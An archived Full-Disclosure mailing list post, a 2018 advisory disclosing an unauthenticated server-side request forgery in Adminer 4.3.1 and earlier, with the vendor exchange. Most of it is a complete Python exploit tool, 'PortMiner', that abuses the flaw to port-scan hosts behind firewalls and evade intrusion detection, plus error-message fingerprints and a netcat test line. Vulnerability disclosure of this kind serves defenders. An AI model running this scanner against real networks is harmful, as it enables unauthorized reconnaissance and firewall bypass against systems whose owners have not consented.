lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sun, 14 Jan 2018 20:12:36 -0500
From: hyp3rlinx <hyp3rlinx@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Adminer <= v4.3.1 Server Side Request Forgery

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/ADMINER-UNAUTHENTICATED-SERVER-SIDE-REQUEST-FORGERY.txt
[+] ISR: apparition security



Vendor:
==============www.adminer.org


Product:
================
Adminer <= v4.3.1

Adminer (formerly phpMinAdmin) is a full-featured database management
tool written in PHP. Conversely to phpMyAdmin, it consist of a
single file ready to deploy to the target server. Adminer is available
for MySQL, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB,
Elasticsearch and MongoDB.
https://github.com/vrana/adminer/releases/


Vulnerability Type:
===================
Server Side Request Forgery


CVE Reference:
==============
N/A


Security Issue:
================
Adminer allows unauthenticated connections to be initiated to
arbitrary systems/ports. This vulnerability can be used to potentially
bypass firewalls to
identify internal hosts and perform port scanning of other servers for
reconnaissance purposes. Funny thing is Adminer throttles invalid
login attempts
but allows endless unauthorized HTTP connections to other systems as
long as your not trying to authenticate to Adminer itself.

Situations where Adminer can talk to a server that we are not allowed
to (ACL) and where we can talk to the server hosting Adminer, it can
do recon for us.

Recently in LAN I was firewalled off from a server, however another
server running Adminer I can talk to. Also, that Adminer server can
talk to the target.
Since Adminer suffers from Server-Side Request Forgery, I can scan for
open ports and gather information from that firewalled off protected
server.
This allowed me to not only bypass the ACL but also hide from the
threat detection system (IDS) monitoring east west connections.

However, sysadmins who check the logs on the server hosting Adminer
application will see our port scans.

root@...p log/apache2# cat other_vhosts_access.log
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:25:11 +0000] "GET
///?server=TARGET-IP:21&username= HTTP/1.1" 403 1429 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:24 +0000] "GET
///?server=TARGET-IP:22&username= HTTP/1.1" 403 6019 "-" "-"
localhost:12322 ATTACKER-IP - - [2/Jan/2018:14:26:56 +0000] "GET
///?server=TARGET-IP:23&username= HTTP/1.1" 403 6021 "-" "-"


Details:
==================
By comparing different failed error responses from Adminer when making
SSRF bogus connections, I figured out which ports are open/closed.

Port open ==> Lost connection to MySQL server at 'reading initial
communication packet
Port open ==> MySQL server has gone away
Port open ==> Bad file descriptor
Port closed ==> Can't connect to MySQL server on '<TARGET-IP>';
Port closed ==> No connection could be made because the target machine
actively refused it
Port closed ==> A connection attempt failed.

This worked so well for me I wrote a quick port scanner 'PortMiner' as
a proof of concept that leverages Adminer SSRF vulnerability.


PortMiner observations:
======================
No response 'read operation timed out' means the port is possibly open
or filtered and should be given a closer look if possible. This seems
to occur when scanning
Web server ports like 80, 443. However, when we get error responses
like the ones above from the server we can be fairly certain a port is
either open/closed.

Quick POC:
echo -e 'HTTP/1.1 200 OK\r\n\r\n' | nc -l -p 5555
Use range 5555-5555


Exploit/POC:
=============
import socket,re,ssl,warnings,subprocess,time
from platform import system as system_name
from os import system as system_call

#Adminer Server Side Request Forgery
#PortMiner Scanner Tool
#by John Page (hyp3rlinx)
#ISR: ApparitionSec
#hyp3rlinx.altervista.org
#=========================
#D1rty0Tis says hi.

#timeout
MAX_TIME=32
#ports to log
port_lst=[]
#Web server response often times out but usually means ports open.
false_pos_ports=['80','443']

BANNER='''
           ____            _   __  __ _
          |  _  \         | | |  \/  (_)
          | |__) |__  _ __| |_| \  / |_ _ __   ___ _ __
          |  ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__|
          | |  | (_) | |  | |_| |  | | | | | |  __/ |
          |_|   \___/|_|   \__|_|  |_|_|_| |_|\___|_|
       '''


def info():
    print "\nPortMiner depends on Error messages to determine
open/closed ports."
    print "Read operations reported 'timed out' may be open/filtered.\n"


def greet():
    print 'Adminer Unauthenticated SSRF Port Scanner Tool'
    print 'Targets Adminer used for MySQL administration\n'
    print 'by hyp3rlinx - apparition security'
    print '-----------------------------------------------------\n'
    print 'Scan small ranges or single ports or expect to wait.\n'
    print 'Do not scan networks without authorized permission.'
    print 'Author not responsible for abuse/misuse.\n'


def chk_ports(p):
    p=p.replace('-',',')
    port_arg=p.split(',')
    try:
        if len(port_arg)>1:
            if int(port_arg[1]) < int(port_arg[0]):
                print 'Port range not valid.'
                raw_input()
                return
            if int(port_arg[1])>65535:
                print 'Exceeded max Port range 65535.'
                raw_input()
                return
    except Exception as e:
        print str(e)
        return None
    return list(range(int(port_arg[0]),int(port_arg[1])+1))



def log(IP):
    try:
        file=open('PortMiner.txt', 'w')
        file.write(IP+'\n')
        for p in port_lst:
            file.write(p+'\n')
        file.close()
    except Exception as e:
        print str(e)
    print "\nSee PortMiner.txt"


def use_ssl(ADMINER,ADMINER_PORT):
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ADMINER,int(ADMINER_PORT)))
        s=ssl.wrap_socket(s, keyfile=None, certfile=None,
server_side=False, cert_reqs=ssl.CERT_NONE,
ssl_version=ssl.PROTOCOL_SSLv23)
        s.close()
    except Exception as e:
        print ""
        return False
    return True


def version(ip,port,uri,use_ssl):
    res=""
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip,int(port)))
        if use_ssl:
            s=ssl.wrap_socket(s, keyfile=None, certfile=None,
server_side=False, cert_reqs=ssl.CERT_NONE,
ssl_version=ssl.PROTOCOL_SSLv23)
        s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n')

    except Exception as e:
        print 'Host up but cant connect.' #str(e)
        print 'Re-check Host/Port/URI.'
        s.close()
        return 504

    while True:
        RES=s.recv(512)
        if RES.find('Forbidden')!=-1:
            print 'Forbidden 403'
            s.close()
            return None
        if RES.find('401 Authorization Required')!=-1:
            print '401 Authorization Required'
            s.close()
            return None
        ver = re.findall(r'<span
class="version">(.*)</span>',RES,re.DOTALL|re.MULTILINE)
        if not RES:
            s.close()
            return None
        if ver:
            print 'Your Adminer '+ ver[0] + ' works for us now.'
            s.close()
            return ver

    s.close()
    return None



def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):
    global MAX_TIME,port_range
    RES=''

    print 'scanning ports: %s ' % str(port_range[0])+'to ' +
str(port_range[-1])+' ...'

    for aPort in port_range:
         aPort=str(aPort)

         try:
             s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.settimeout(MAX_TIME)
             s.connect((ADMINER,ADMINER_PORT))

             if USE_SSL:
                s=ssl.wrap_socket(s, keyfile=None, certfile=None,
server_side=False, cert_reqs=ssl.CERT_NONE,
ssl_version=ssl.PROTOCOL_SSLv23)

             s.send('GET
/'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username=
HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n')

         except Exception as e:
              print str(e)
              s.close()
              return

         while True:
              try:
                 RES=s.recv(512)
                 ###print RES
                 ###Should see HTTP/1.1 403 not 200
                 if RES.find('HTTP/1.1 200 OK')!=-1:
                     print 'port '+aPort +  ' open'
                     port_lst.append(aPort+' open')
                     s.close()
                     break

                 if RES.find('400 Bad Request')!=-1:
                     print '400 Bad Request, check params'
                     s.close()
                     break
                     raw_input()

                 lst=re.findall(r"([^\n<div class='error'>].*connect
to MySQL server on.*[^</div>\n])|(Lost connection to MySQL server
at.*)|(MySQL server has gone away.*)"+
                             "|(No connection could be made because
the target machine actively refused it.*)|(A connection attempt
failed.*)|(HTTP/1.1 200 OK.*)", RES)

                 if lst:
                      status=str(lst)
                      if status.find('connect to MySQL')!=-1:
                          if PRINT_CLOSED:
                              print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('machine actively refused it.')!=-1:
                          if PRINT_CLOSED:
                              print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('A connection attempt failed')!=-1:
                          if PRINT_CLOSED:
                               print 'port '+ aPort +  ' closed'
                          s.close()
                          break
                      elif status.find('reading initial communication
packet')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('MySQL server has gone away')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('Bad file descriptor')!=-1:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif status.find('Got packets out of order')!=-1:
                          print 'port '+aPort +  ' open'
                          s.close()
                          break

              except Exception  as e:
                  msg = str(e)
                  ###print msg
                  if msg.find('timed out')!=-1 and aPort in false_pos_ports:
                      print 'port '+aPort +  ' open'
                      port_lst.append(aPort+' open')
                      s.close()
                      break
                  elif msg.find('timed out')!=-1:
                      print 'port '+aPort + ' timed out'
                      port_lst.append(aPort+' read operation timed out')
                      s.close()
                      break
                  else:
                      s.close()
                      break

    if port_lst:
        log(TARGET)
    else:
        print "Scan completed, no ports mined."
    return 0



def arp(host):
    args = "-a" if system_name().lower()=="windows" else "-e"
    return subprocess.call("arp " + args + " " + host, shell=True) == 0


def ping_host(host):
    args = "-n 1" if system_name().lower()=="windows" else "-c 1"
    res=subprocess.call("ping " + args + " " + host, shell=True) == 0
    if not res:
        print str(host) + ' down? trying ARP'
        if not arp(host):
            print str(host) + ' unreachable.'
            return
    return res



def main():
    global port_range
    print BANNER
    greet()
    ADMINER_VERSION=False
    PRINT_CLOSED=False
    USE_SSL=None

    ADMINER=raw_input('[+] Adminer Host/IP> ')
    if ADMINER=='':
        print 'Enter valid Host/IP'
        ADMINER=raw_input('[+] Adminer Host/IP> ')

    ADMINER_PORT=raw_input('[+] Adminer Port> ')
    if not re.search("^\d{1,5}$",ADMINER_PORT):
        print 'Enter a valid Port.'
        ADMINER_PORT=raw_input('[+] Adminer Port> ')

    ADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php
OR adminer/ dir path] > ')
    TARGET=raw_input('[+] Host/IP to Scan> ')

    PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','')
    plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN)
    if not plst:
        print 'Invalid ports, format is 1-1025'
        return
        raw_input() #console up

    port_range=chk_ports(PORTS_TO_SCAN)
    if not port_range:
        return

    PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ')
    if PRINT_CLOSED=='1':
        PRINT_CLOSED=True
    else:
        PRINT_CLOSED=False

    if not ping_host(ADMINER):
        print 'host %s not reachable or blocking ping ' % ADMINER
        cont=raw_input('Continue with scan? 1=Yes any key for No> ')
        if cont!='1':
            print 'Scan aborted.'
            raw_input() #console up
            return


    USE_SSL=use_ssl(ADMINER,ADMINER_PORT)
    time.sleep(2)
    ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)

    if not ADMINER_VERSION:
        print "Can't retrieve Adminer script. check supplied URI."
        raw_input() #console up
        return
    else:
        if ADMINER_VERSION==504:
            raw_input() #console up
            return
        if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:
            more=raw_input('Info: 1=Yes, any key for No> ')
            if more=='1':
                info()
                raw_input() #console up


if __name__=='__main__':
    main()



Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification:  December 16, 2017
Vendor Acknowledgment and reply "I could disallow connecting to
well-known ports" : December 18, 2017
Vendor "Adminer throttles invalid login attempts. That should help. I
am not sure what else could Adminer do about this."
No more replies from vendor since : December 18, 2017
Attempt contact vendor : January 4, 2018
No more replies (unresponsive).
January 12, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion
in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse
of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The
author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ